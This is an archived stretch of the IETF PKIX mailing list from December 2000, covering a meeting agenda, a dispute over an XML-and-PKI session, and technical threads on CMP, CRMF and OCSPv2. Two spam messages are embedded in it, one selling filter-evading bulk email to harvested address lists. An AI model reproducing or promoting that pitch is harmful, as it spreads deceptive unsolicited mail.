session.  I deferred this discussion to the end since it will consume any 
available time.

This is very different from a session on XML-based PKIs, where ASN.1 is 
never used.  That is the session I thought you were requesting, and it is 
well outside our charter.  It is not my role or Steve's to be organizing 
such a session.  To be honest, I personally believe that XML is an 
inappropriate encoding format for certificates (public key *or* attribute).

I am sorry you assumed we wouldn't discuss PKI and XML at all.  The 
discussion is incomplete if the "loudest PKI-XML proponent" (or opponent) 
is not present.

Tim

At 09:36 AM 12/7/00 +0100, Anders Rundgren wrote:
>Tim,
>What you are saying is that there _will_ be some kind of a PKIXML session 
>(short but something at least)
>which I have asked Steve K to arrange in and off this list with no success.
>
>Unfortunately, I and few others cannot waste their precious time on things 
>that are decided
>in the last minute with no previous information. As we have discussed this 
>subject for a month
>or so, I am pretty disappointed on how PKIX handled this.  OK, maybe it is 
>a "win" in somebody's
>view that the loudest PKI-XML proponent (who still insists that this is a 
>_market_ thing as well) will
>not be there...
>
>Anders
>
>
>
> > I am projecting a half hour for discussions on XML and PKI.  So far, Phil
> > has requested time to describe XKMS.  If you would like to present under
> > this general topic, please send me email.  I will try to get everyone some
> > time to present their views.
> >
> > Thanks,
> >
> > Tim Polk



Received: from certplus.com ([195.101.88.81]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id EAA19424 for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 04:32:22 -0800 (PST)
Received: from certplus.com ([192.168.212.178]) by certplus.com (8.8.7/8.8.7) with ESMTP id NAA20416; Thu, 7 Dec 2000 13:38:03 +0100
Message-ID: <3A2F83AF.8726DAE7@certplus.com>
Date: Thu, 07 Dec 2000 13:33:51 +0100
From: Jean-Marc Desperrier <jean-marc.desperrier@certplus.com>
Organization: Certplus
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf-pkix <ietf-pkix@imc.org>
CC: Tim Polk <tim.polk@nist.gov>
Subject: Re: PKIX WG tentative agenda
References: <4.2.0.58.20001206163753.01d70660@email.nist.gov>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Tim Polk wrote:

> I have attached the tentative agenda for next week's PKIX sessions.   As
> usual, we have a rather full agenda.  Both days should be
> interesting;  we'll discuss the path validation protocols on Tuesday and
> XML on Wednesday.  In between, we'll cover the status of our twenty current
> I-Ds.

The agenda says the WG Last call for Time Stamp Protocols draft (TSP) is
finished, and that the draft is now under Area Director Review.

What would be a tentative time-line until publication as an RFC, or until
attribution of a RFC number ?





Received: from atsgw.cyber.ee (atsgw.cyber.ee [195.50.202.13]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id CAA08435 for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 02:36:32 -0800 (PST)
Received: from kiku.itsise (kiku.itsise [192.168.2.2]) by atsgw.cyber.ee (8.11.1/8.11.1) with ESMTP id eB7Acfo28319 for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 12:38:41 +0200
Received: from cyber.ee (dino.itsise [192.168.2.137]) by kiku.itsise (8.9.1a/8.9.1) with ESMTP id MAA16992 for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 12:38:41 +0200
Message-ID: <3A2F696B.D82AFDCD@cyber.ee>
Date: Thu, 07 Dec 2000 12:41:47 +0200
From: Margus Freudenthal <margus@cyber.ee>
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: ee,et,en
MIME-Version: 1.0
To: PKIX list <ietf-pkix@imc.org>
Subject: CMP question
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello.

The RFC 2510 (or its successor) does not define how one should respond
to announcement messages (i.e. certificate announcement, revocation
announcement, CRL announcement).  In some cases (mostly for revocation)
the sending party needs to know that the receiver has really got and
understood the message.  It seems to me that the receiver should reply
with Confirmation to indicate that the message was OK or with
ErrorMsgRep, if it wasn't.

Any other suggestions?



-- 
Margus Freudenthal                           margus@cyber.ee
Cybernetica                                  http://www.cyber.ee/


Received: from mailf.telia.com (root@mailf.telia.com [194.22.194.25]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id AAA19076; Thu, 7 Dec 2000 00:35:47 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by mailf.telia.com (8.9.3/8.9.3) with ESMTP id JAA12793; Thu, 7 Dec 2000 09:37:55 +0100 (CET)
Received: from mega (t4o69p6.telia.com [62.20.145.126]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eB78bso14699; Thu, 7 Dec 2000 09:37:54 +0100 (CET)
Message-ID: <002c01c06028$ca234000$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: "Stephen Kent" <kent@bbn.com>, "Tim Polk" <tim.polk@nist.gov>, <ietf-pkix@imc.org>, "Paul Hoffman / IMC" <phoffman@imc.org>
References: <4.2.0.58.20001206163753.01d70660@email.nist.gov>
Subject: PKIXML session.  Was: PKIX WG tentative agenda
Date: Thu, 7 Dec 2000 09:36:24 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id AAA19079

Tim, 
What you are saying is that there _will_ be some kind of a PKIXML session (short but something at least) 
which I have asked Steve K to arrange in and off this list with no success. 

Unfortunately, I and few others cannot waste their precious time on things that are decided 
in the last minute with no previous information. As we have discussed this subject for a month 
or so, I am pretty disappointed on how PKIX handled this.  OK, maybe it is a "win" in somebody's 
view that the loudest PKI-XML proponent (who still insists that this is a _market_ thing as well) will
not be there... 

Anders



> I am projecting a half hour for discussions on XML and PKI.  So far, Phil 
> has requested time to describe XKMS.  If you would like to present under 
> this general topic, please send me email.  I will try to get everyone some 
> time to present their views.
> 
> Thanks,
> 
> Tim Polk



Received: from bsd.gymparnr.sk (bsd.gymparnr.sk [195.168.176.67]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id UAA23499 for <ietf-pkix@imc.org>; Wed, 6 Dec 2000 20:58:16 -0800 (PST)
From: hjghjgjh@yahoo.com
Received: (qmail 16810 invoked from network); 6 Dec 2000 00:18:35 -0000
Received: from 1cust62.tnt1.los-angeles.ca.da.uu.net (HELO uOxD5YC8u?) (63.57.183.62) by bsd.gymparnr.sk with SMTP; 6 Dec 2000 00:18:35 -0000
DATE: 05 Dec 00 4:38:11 PM
Message-ID: <Y1UVXLHF9vV6FL03c1e>
SUBJECT: 1+1=2

The Internet's Finest and Most Reliable Bulk Email Provider!

Since 1996, Tech Data Technologies has provided bulk email service to thousands of well-satisfied customers. We offer the most competitive prices in the industry, made possible by our high percentage of repeat business. We have the most advanced, direct email technology, employed by only a knowledgeable few in the world. Our expert programmers have made it possible for us to penetrate any email blocking filter in use.

We have over 120 million active email addresses, increasing our list at the rate of half a million to one million a month. We will put your product or service instantly and directly into the hands of millions of prospects! You will have instant, guaranteed results, something no other form of marketing can claim. Our turn around time is a remarkable 24 hours.

Our email addresses are sorted by country, state and target. Your marketing campaign will speed with pinpoint accuracy to your desired audience!

Your message can be presented in any language you wish, as plain text if you desire simplicity, or in html with color and graphics.

Call us for a free consultation at (323)- 851- 8386  [U.S.A.]. We are open 24 hours a day, 7 days a week. No one understands the global market like we do. 

For a limited time, take advantage of our holiday special -- two million general U.S. emails for just $450 per million! We include, at no cost, a bullet proof email address for 30 days, a $400 value!

BULK EMAIL PRICES

   500,000........................$375
   750,000........................$562
1,200,000........................$720
1,600,000..................    ...$960
3,000,000......................$1,500
3,000,000+ ...................PLEASE CALL FOR A QUOTE


Resellers welcome. We accept Visa, MasterCard and check by FAX.

DON'T WAIT! LET TECH DATA TECHNOLOGIES BE YOUR PARTNER!!


Under Bill s.1618 TITLE III passed by the 105th U.S. Congress this letter is not considered "spam" as long as we include: 1) contact information and, 2) the way to be removed from future mailings (see below).To Remove Yourself From This List: reply to this email with the email
address that you would like removed and the word REMOVE in the subject heading.




Received: from powernet.com.eg (unassigned.future.com.eg [163.121.126.100] (may be forged)) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA15920 for <ietf-pkix@imc.org>; Wed, 6 Dec 2000 15:28:28 -0800 (PST)
From: bn1bn2@yahoo.com
Received: from yNOh51hb0  [63.28.123.13] by powernet.com.eg (SMTPD32-5.00) id A7B14ED0120; Mon, 04 Dec 2000 01:30:57 +0200
DATE: 03 Dec 00 3:36:43 PM
Message-ID: <u2U6etBG7Cvr3L>
SUBJECT:  Holiday Special: Don't miss the savings!

Hurry!!! Time is running out.

Thinking of getting a laptop computer for the holidays, or any occasions...
Brand new name brand notebooks at up to 35% savings, compare around than
call us 1-800-644-9584. We have thousands Notebook PC, PDAs, Digital
Cameras, Parts and Accessories in stock for the holiday, anything you need,
we can get you the lower prices.

 C o m p a q
==================================================
Compaq Armada M700		$2199
Intel PIII 650 MHz, 128MB, 12.0GB, 14.1in TFT, 24X CD-ROM, 56 Kbps, 10/100
Ethernet Card, Windows NT 4.0

Compaq Presario 1200-XL125	$1379
AMD K6-2 533 MHz, 64MB , 6.0GB, 13.3in TFT, 8X DVD-ROM, 56Kbps , WIN98se

Compaq Presario 1200-XL300	$1095
Intel Celeron 600 MHz, 64MB, 6.0GB, 13in HPA, 24X CD-ROM, 56K , Windows ME

Compaq Presario 1200-XL325	$1499
Intel PIII 650 MHz, 64MB, 6.0GB, 13.3in TFT, 8X DVD-ROM, 56K , Windows ME

Compaq Presario 1700-XL360	$1799
Intel PIII 600 MHz, 64MB, 10.0GB, 14.1in TFT, 8X DVD-ROM, 56K , Windows ME


 H P
====================================================
HP Omni Book 6000	$3499
Intel PIII 850MHz , 128 MB , 20GB, 15.1in TFT, 8X DVD-ROM, 56Kbps, Windows
2000

HP Pavilion N5150	$1499
Intel PIII 600 MHz, 64MB, 10.0GB , 13.3in TFT, 8X DVD-ROM, 56Kbps, Windows
Millennium Edition

HP Pavilion N5170	$1599
Intel PIII 600 MHz , 64MB, 7.0GB , 14.1in TFT, 8X DVD-ROM, 56Kbps, 10/100
Ethernet, Windows Millennium Edition

HP Pavilion N5195	$2199
Intel PIII 700 MHz , 128MB , 20.0GB , 15.1in TFT, 8X DVD-ROM, 56Kbps, 10/100
Ethernet, Windows Millennium Edition


 S O N Y
====================================================
Sony VAIO PCG-F580 Notebook	$2099
Intel PIII 650 MHz, 64MB, 12.0GB, 15.0in TFT, 8X DVD-ROM, 56K, Windows 98se

Sony VAIO PCG-F650 Notebook	$1889
Intel PIII 600 MHz, 64MB, 12.0GB, 14.1in TFT, 8X DVD-ROM, 56Kbps, Windows ME


For more info or to place an order call:

1-800-644-9584
To Visit Our Site http://www.laptopland.com to find out more detail


This message is being sent to you in compliance with the proposed Federal
legislation for commercial e-mail (S.1618 - SECTION 301)."Pursuant to
Section 301, Paragraph (a)(2)(C) of S. 1618, further transmissions to you by
the sender of this e-mail may be stopped at no cost to you by submitting a
request to be removed. INSTRUCTIONS- click here
mailto:member9288@computerassociation.com?subject=removelist134 to be
removed.








Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA10680 for <ietf-pkix@imc.org>; Wed, 6 Dec 2000 13:56:58 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id QAA07638 for <ietf-pkix@imc.org>; Wed, 6 Dec 2000 16:59:05 -0500 (EST)
Message-Id: <4.2.0.58.20001206163753.01d70660@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Wed, 06 Dec 2000 16:56:46 -0500
To: ietf-pkix@imc.org
From: Tim Polk <tim.polk@nist.gov>
Subject: PKIX WG tentative agenda
In-Reply-To: <97603133708646@kahu.cs.auckland.ac.nz>
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=====================_10195782==_"

--=====================_10195782==_
Content-Type: text/plain; charset="us-ascii"; format=flowed


Folks,

I have attached the tentative agenda for next week's PKIX sessions.   As 
usual, we have a rather full agenda.  Both days should be 
interesting;  we'll discuss the path validation protocols on Tuesday and 
XML on Wednesday.  In between, we'll cover the status of our twenty current 
I-Ds.

I am projecting a half hour for discussions on XML and PKI.  So far, Phil 
has requested time to describe XKMS.  If you would like to present under 
this general topic, please send me email.  I will try to get everyone some 
time to present their views.

Thanks,

Tim Polk
--=====================_10195782==_
Content-Type: text/plain; charset="us-ascii"
Content-Disposition: attachment; filename="IETF PKIX agenda.txt"

PKIX WG (pkix-wg)

TUESDAY, December 12 at 1545-1645
WEDNESDAY, December 13 at 1300-1500
=================================

CHAIR: Stephen Kent <kent@bbn.com>, Tim Polk <tim.polk@nist.gov>

AGENDA:

Document Status Review Tim Polk (NIST)
      The working group has twenty current Internet-Drafts.  A number
      of documents are in various stages of Last Call.  Several others
      are ready for Last Call. (5 min.)

Delegated Path Validation Services - various
      The working group has been presented with several alternative
      proposals.  The current proposals are the Simple Certificate
      Validation Protocol (SCVP) and Delegated Path Validation drafts. 
      The WG needs to select one I-D as the PKIX path validation 
      protocol and create one standards track specification.  An
      extensive discussion is planned for this session, with
      presentations by the authors of the competing specifications 
      as well as the WG chairs.  (up to 30 min.)

Qualified Certificates Profile - Stefan Santesson (Addtrust)
      This document has been approved as a Standards track RFC and
      is currently in the editing queue.  A brief discussion of the
      status of the corresponding ETSI specification will be
      included in this update. (5 min.)

Data Validation and Certification Server - Carlisle Adams (Entrust)
      This document has been approved as a Experimental
      track RFC and is currently in the editing queue. (5 min.)  

Time Stamp Protocols (TSP) - Denis Pinkas (Bull)
      This document has been through working group Last Call and is
      currently under Area Director Review.  This status update will
      describe changes made to the TSP specification as a consequence
      of Last Call. (5 min.)

Attribute Certificate Profile - Steve Farrell (Baltimore)
      This document has been through working group Last Call and is
      currently under Area Director Review.  This status update will
      describe changes made to the Attribute Certificate Profile as
      a consequence of Last Call. (5 min.)

Technical Non-Repudiation - Tim Polk (NIST) for Tom Gindin (IBM)
      After minor changes are incorporated to address recent comments, 
      this document will be ready to progress as an Informational track
      specification. (5 min.)

Permanent Identifier - Denis Pinkas (Bull)
      This document is stable and ready for progression to RFC status.
      This discussion will center on the strategy for progressing 
      this document. (5 min.)

[*Approximate* breaking point between meetings]

Certificate and CRL Profile revisions - Russ Housley (SPYRUS) 
      This document is the follow-up to RFC 2459.  A new draft of this
      document has been published.  Hopefully, we are ready for
      Working Group Last Call.  The document will be a standards 
      Track and is expected to go to Proposed Standard. (10 min.)

Public Key Algorithms and Identifiers - Russ Housley (SPYRUS)
      This document is a companion to the Certificate and CRL Profile.
      This specification contains the algorithm-specific information,
      such as OIDs and encoding information.  This specification is 
      ready for WG Last Call and is expected to progress to Proposed
      Standard with the Certificate and CRL Profile. (5 min.)

CMP/CRMF Interoperability Results - Bob Moskowitz (ICSA Labs)
      Bob has been organizing interoperability testing for CRMF/CMP
      Implementations.  This testing will support the progression of CMP
      and CRMF to Draft standard. (10 min.)

Certificate Request Message Format (CRMF) - Carlisle Adams (Entrust) 
	This document incorporates clarifications to RFC 2511.  These 
      changes are proposed as a result of interoperability testing.  
      This specification is nearly ready for Last Call and progression
      of CRMF to Draft Standard. (5 min.) 

Certificate Management Protocol (CMP) - Carlisle Adams (Entrust)
	This document incorporates clarifications to RFC 2510.  These 
      changes are proposed as a result of interoperability testing.  
      This specification is nearly ready for Last Call and progression
      of CMP to Draft Standard. (5 min.) 

OCSPv2 and Delegated Path Discovery - Michael Myers (VeriSign)
	These documents incorporate clarifications and enhancements to
      RFC 2560 and define a new OCSP extension for path discovery.  The
      editor feels the OCSPv2 is stable and ready for progression to RFC
      status. See the following resentation. (10 min.)

Comments on OCSPv2 - Denis Pinkas (Bull)
	An alternative view on the progression of OCSPv2. (5 min.)

CP/CPS Framework - Santosh Chokhani (Cygnacom)
      An ad hoc group of PKIX and ABA members has been working on
      revisions to RFC 2527, the "Certificate Policy and Certification
      Practices Framework".  A new draft will be posted in the near
      future.  This update will describe expected changes in the 
      document. (5 min.)

PKIX Roadmap - Sean Turner (IECA)
      This document provides an overview or "roadmap" of the work
      done by the IETF PKIX working group. It defines common terms, 
      describes basic theory behind PKI, and provides an overview of 
      PKIX documents and the relationships between them.  This document
      is now fairly stable, and could be considered for progression as
      an informational RFC. (5 min.)

Operational Protocols, LDAPv3 - David Chadwick (Univ. of Salford)
      This document is the LDAPv3 analog of RFC 2559.  This document
      describes the features of LDAPv3 that are essential, or not
      required, or are optional for servers to support a PKI based
      on X.509. (5 min.) 

Additional LDAP Schema for PKIs and PMIs - David Chadwick (Salford)
      This specification is a supplement to RFC 2587, and describes
      Additional schema elements for use with LDAPv3 PKI repositories.

Attribute Certificate Acquisition Protocol - Steve Farrell (Baltimore)
      This document specifies a deliberately limited protocol for
      requesting attribute certificates from a server. (5 min.)

Repository Locator Service - Phil Hallem-Baker (VeriSign)
      This document leverages DNS and DNS SRV records to enable
      Certificate using systems to locate PKI repositories 
      based on a domain name, identify the protocols that can be
      used to access the repository, and obtain addresses for the
      servers that host the repository service.  (5 min.)

PKIX and XML - various
       The relationship of PKI and XML-based clients has been the
       subject of great discussion on the list.  As time allows, 
       we will continue that discussion.  (30-40 min.)

--=====================_10195782==_--



Received: from mail.phaos.com ([206.30.74.234]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA04703 for <ietf-pkix@imc.org>; Wed, 6 Dec 2000 12:30:38 -0800 (PST)
Received: from phaos_arik (ruskie.spacerat.com [207.51.38.135]) by mail.phaos.com (8.9.2/8.9.2) with ESMTP id TAA59266 for <ietf-pkix@imc.org>; Wed, 6 Dec 2000 19:25:59 -0500 (EST) (envelope-from arik@phaos.com)
Message-Id: <4.2.0.58.20001206152915.00bf2300@mail.phaos.com>
X-Sender: arik@mail.phaos.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Wed, 06 Dec 2000 15:40:18 -0500
To: ietf-pkix@imc.org
From: Ari Kermaier <arik@phaos.com>
Subject: CRMF EncryptedValue
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

It seems to me that the EncryptedValue structure defined in CRMF (used in 
POPOPrivKey and PKIArchiveOptions) may be incompletely specified.

The syntax from draft-ietf-pkix-rfc2511bis-00 Section 6.4 is:

EncryptedValue ::= SEQUENCE {
       intendedAlg   [0] AlgorithmIdentifier  OPTIONAL,
       -- the intended algorithm for which the value will be used
       symmAlg       [1] AlgorithmIdentifier  OPTIONAL,
       -- the symmetric algorithm used to encrypt the value
       encSymmKey    [2] BIT STRING           OPTIONAL,
       -- the (encrypted) symmetric key used to encrypt the value
       keyAlg        [3] AlgorithmIdentifier  OPTIONAL,
       -- algorithm used to encrypt the symmetric key
       valueHint     [4] OCTET STRING         OPTIONAL,
       -- a brief description or identifier of the encValue content
       -- (may be meaningful only to the sending entity, and used only
       -- if EncryptedValue might be re-examined by the sending entity
       -- in the future)
         encValue       BIT STRING }

How does the recipient of such a structure know what block padding scheme 
may (or may not) have been used with the symmetric encryption algorithm? 
CMS, for example, specifies mechanisms whereby this information is conveyed 
with similar message structures, but I can't seem to find any mention of 
this in CMP/CRMF. Any ideas, anyone?

Ari



Received: from smtp1.libero.it (smtp1.libero.it [193.70.192.51]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA19513 for <ietf-pkix@imc.org>; Tue, 5 Dec 2000 12:14:02 -0800 (PST)
Received: from leoneox8n5x2lz (151.21.150.53) by smtp1.libero.it; 5 Dec 2000 21:15:33 +0100
From: "Vinicia Leone" <vinicia.leone@libero.it>
To: <ietf-pkix@imc.org>
Subject: Unsubscribe
Date: Tue, 5 Dec 2000 21:12:51 +0100
Message-ID: <LPEIIGDCINNANFLPNKBMMECPCAAA.vinicia.leone@libero.it>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700


Received: from fep09-svc.tin.it (mta09-acc.tin.it [212.216.176.40]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA18771 for <ietf-pkix@imc.org>; Tue, 5 Dec 2000 12:05:12 -0800 (PST)
Received: from leoneox8n5x2lz ([212.171.238.208]) by fep09-svc.tin.it (InterMail vM.4.01.02.27 201-229-119-110) with SMTP id <20001205200629.SBYS15292.fep09-svc.tin.it@leoneox8n5x2lz> for <ietf-pkix@imc.org>; Tue, 5 Dec 2000 21:06:29 +0100
From: "Alberto Leone" <leone_alberto@tin.it>
To: <ietf-pkix@imc.org>
Subject: Unsubscribe
Date: Tue, 5 Dec 2000 21:03:47 +0100
Message-ID: <LPEIIGDCINNANFLPNKBMGECPCAAA.leone_alberto@tin.it>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700


Received: from wfhqex05.gfgsi.com (netva01.wangfed.com [206.137.100.2]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA14707; Tue, 5 Dec 2000 11:26:16 -0800 (PST)
Received: by wfhqex05.gfgsi.com with Internet Mail Service (5.5.2650.21) id <WY8B6QHD>; Tue, 5 Dec 2000 14:27:47 -0500
Message-ID: <4B0D36365AD3D2118FF40060972A16C0019B19DB@wfhqex01.wangfed.com>
From: "Pawling, John" <John.Pawling@GetronicsGov.com>
To: "Pawling, John" <John.Pawling@GetronicsGov.com>
Subject: SFL/CML/ACL/SNACC Freeware Available *NEW CML RELEASE*
Date: Tue, 5 Dec 2000 14:27:50 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

All,

The freeware Certificate Management Library (CML), S/MIME Freeware Library
(SFL), Access Control Library (ACL), Enhanced SNACC ASN.1 freeware and
Cryptographic Token Interface Libraries (CTIL) developed by Getronics
Government Solutions are now available from the following web pages:

SFL and CTILs: <http://www.getronicsgov.com/hot/sfl_home.htm>

CML: <http://www.getronicsgov.com/hot/cml_home.htm>

ACL: <http://www.getronicsgov.com/hot/acl_home.htm>

Enhanced SNACC ASN.1 Freeware:
<http://www.getronicsgov.com/hot/snacc_home.htm>

**NEW CML RELEASE**: The CML files available from
<http://www.getronicsgov.com/hot/cml_home.htm> are a new release.  The v1.81
CML release fixes bugs in the v1.8 CML as documented in the v1.8 CML Problem
Report file.  

With the exception of the CML files, there are no significant differences
between the files available from the Getronics Government Solutions web
pages and those that were formerly available from the Fortezza Developers
Web Site <ww.armadillo.huntsville.al.us>.

We welcome all feedback regarding these freeware security libraries.

===========================================
John Pawling, John.Pawling@GetronicsGov.com
Getronics Government Solutions, LLC
===========================================



Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA29927 for <ietf-pkix@imc.org>; Tue, 5 Dec 2000 08:27:08 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id RAA62490; Tue, 5 Dec 2000 17:35:24 +0100
Received: from bull.net (frpq6118.frpq.bull.fr [129.184.8.64]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id RAA14784; Tue, 5 Dec 2000 17:28:36 +0100
Message-ID: <3A2D17B5.B1321B8@bull.net>
Date: Tue, 05 Dec 2000 17:28:37 +0100
From: Denis Pinkas <Denis.Pinkas@bull.net>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: Michael Myers <MMyers@verisign.com>
CC: ietf-pkix@imc.org
Subject: Re: Proposed edits to OCSPv2 -01
References: <2F3EC696EAEED311BB2D009027C3F4F401C5BEC8@vhqpostal.verisign.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Michael,

> Denis, all:
> 
> Here's a bit of a longish note proposing some edits to
> draft-ietf-pkix-ocspv2-01.txt that get us to -02 and last call.

I do not think we are ready for last call. :-(

> In summary:
> 
> 1. Change "good" to "not revoked"; add "valid", "invalid",
>    "suspended" and "expired" states; add corresponding semantic
>    and normative text.

I skimmed through your text and would need more time than I have now to
respond. The only point I can say at this time, is that the change from
"good to "not revoked" is fine, but than I do not agree to introduce more
than the two other states that are presently defined in v1. "suspended" =
"revoked", with a secondary status information saying that it is temporary.
Remember that from a CRL point of view, there are only two status: revoked,
not revoked. Suspended is a refinement of revoked. OCSP v1 makes the
assumption that anyway the requester will have to get the certificate, so it
is able to know by looking directly at the certificate whether it is
"expired". This status is not needed. Then what would be the difference
between "not revoked" and "valid" ? Instead of fixing the problem, it
becomes worse. :-(

The major problem we will need to discuss next week, at San Diego, is the
use of an EXTENSION. 

If I understand your view, the status reflects the combination of all
queries, while in my view, the current status reflects the status about the
revocation status query only, status related to additional queries passed in
the extensions, come back in the extensions.

Would you now *PLEASE* respond to the following question (already raised
four times):

" Extensions allows to request new services. The request for each every new
service may fail or succeed. This means that each extension will have to
carry the result of the request for the new service. This also means that
the current status will only carry the response to a *status revocation
request*, but will not carry any additional meaning. 

The real advantage to add DPV and DPD to OCSP is to be able to support
both a revocation status request and DPV or DPV+DPD in a single request. 
It should however be noticed that (...) the server may well return a 
"revocation status unknown" response, but still respond to a DPD 
(Delegated Path Discovery) for the certificate." 
 
Since PKIX starts on Tuesday afternoon, let us have a corridor discussion
before, e.g. on Monday.

Denis

> 2. Add unsupportedOption and unrecognizedIdentifer to error cases.
> 
> 3. Add normative text regarding the use of CRLs.
> 
> In the case of the "good" vs. "not revoked" revision, the bits on the wire
> don't change, nor is there any essential change in semantics.  In effect,
> all that's changing is the abstract symbol.  The only hit might be to
> environments that are using "good" to mean "valid" in the delegated path
> validation sense.  I doubt anyone's doing that, but if you are and this
> change hits you, please let us know.  Otherwise, all you're going to have is
> some source that uses "good" as a compile-time symbol  while the new
> standard says "not revoked" but once the compile is done the corresponding
> ASN.1 value [0] doesn't change anyway so interoperability is preserved; nor
> are there any fundamental semantic changes.  Also, the new values will go on
> the end of the end of the CertStatus choice with tag numbers > [2] so
> there's no hit there either for v1 environments.  Same for the new error
> conditions, which are only v2-relevant.
> 
> One other thing.  Many environments use a sequence of "revoked" and "not
> revoked" to achieve a suspension effect.  Those who do so should take care
> to read and comment on the new text "2.8 Use of CRLs" located at the end of
> this note, especially given the proposal for a unique "suspended" response
> value.
> 
> With regards to all,
> 
> Mike
> 
> 2.2  Response
> -------------
> CURRENT -01 TEXT
>    OCSP responses can be of various types.  An OCSP response consists of
>    a response type and the bytes of the actual response. There is one
>    basic type of OCSP response that MUST be supported by all OCSP
>    servers and clients. The rest of this section pertains only to this
>    basic response type.
> 
> PROPOSED -02 TEXT
>    OCSP responses can be of various types, corresponding to various
>    services.  An OCSP response consists of a response type and the
>    bytes of the actual response. This document defines one standard
>    response syntax, BasicOCSPResponse, and one standard service,
>    id-pkix-ocsp-basic (see Section 4.2.1).
> 
>    The BasicOCSPResponse syntax MAY be used for other OCSP services
>    not defined in this document.  However, the id-pkix-ocsp-basic
>    service identifier SHALL only be used to report on the revocation
>    status of a certificate (i.e. "revocation service").
> 
>    OCSP servers SHALL be capable of supporting revocation service.
>    Environments that deploy OCSP for services other than revocation
>    service are NOT required to activate the revocation service feature
>    of their OCSP servers.
> 
> CURRENT -01 TEXT
>    A basic response message is composed of:
> 
> PROPOSED -02 TEXT
>    The BasicOCSPResponse syntax is composed of:
> 
> CURRENT -01 TEXT
>    This specification defines the following definitive response
>    indicators for use in the certificate status value:
> 
>    -- good
>    -- revoked
>    -- unknown
> 
>    The "good" state indicates a positive response to the status inquiry.
>    When used in in a basic response, this positive response value indicates
>    that the responder has current revocation information from the CA tha
>    issued the certificate and that the certificate is not revoked, but does
>    not necessarily mean that the certificate was ever issued or that the
> time
>    at which the response was produced is within the certificate's validity
>    interval. Other response types or response extensions may be used to
> convey
>    additional information on assertions made by the responder regarding the
>    status of the certificate such as positive statement about issuance,
> validity, etc.
> 
>    The "revoked" state indicates that the certificate has been revoked
>    (either permanantly or temporarily (on hold)).
> 
>    The "unknown" state indicates that the responder doesn't know about
>    the certificate being requested.
> 
> PROPOSED -02 TEXT
>    This specification defines the following definitive status
>    values for use in BasicOCSPResponse:
> 
>    -- not revoked
>    -- revoked
>    -- unknown
>    -- valid
>    -- invalid
>    -- suspended
>    -- expired
> 
>    The "not revoked" value SHALL be used to indicate that the responder
>    has current revocation information from the CA that issued the
>    certificate and that that information indicates that the certificate
>    is not revoked. The "not revoked" value MAY be returned for a previously
>    revoked certificate that has expired as defined below.
> 
>    The "revoked" value SHALL be used to indicate that the revocation
>    information currently available to the responder identifies the
>    certificate as in that state.  The "not revoked" value MAY be returned
>    for a previously revoked certificate that has expired as defined below.
>    The "revoked" value MAY be returned for a previously-revoked certificate
>    whose notAfter validity field has expired as defined below.
> 
>    The "unknown" value SHALL be used to indicate that the responder does
>    not recognize the certificate as being among those for which it is
>    authoritative.  When used in conjunction with id-pkix-ocsp-basic,
>    "unknown" SHALL be interpreted as revocation status unknown.
> 
>    The "valid" value SHALL be used to indicate that the certificate
>    at a minimum satisifes the path validation logic defined in RFC 2459.
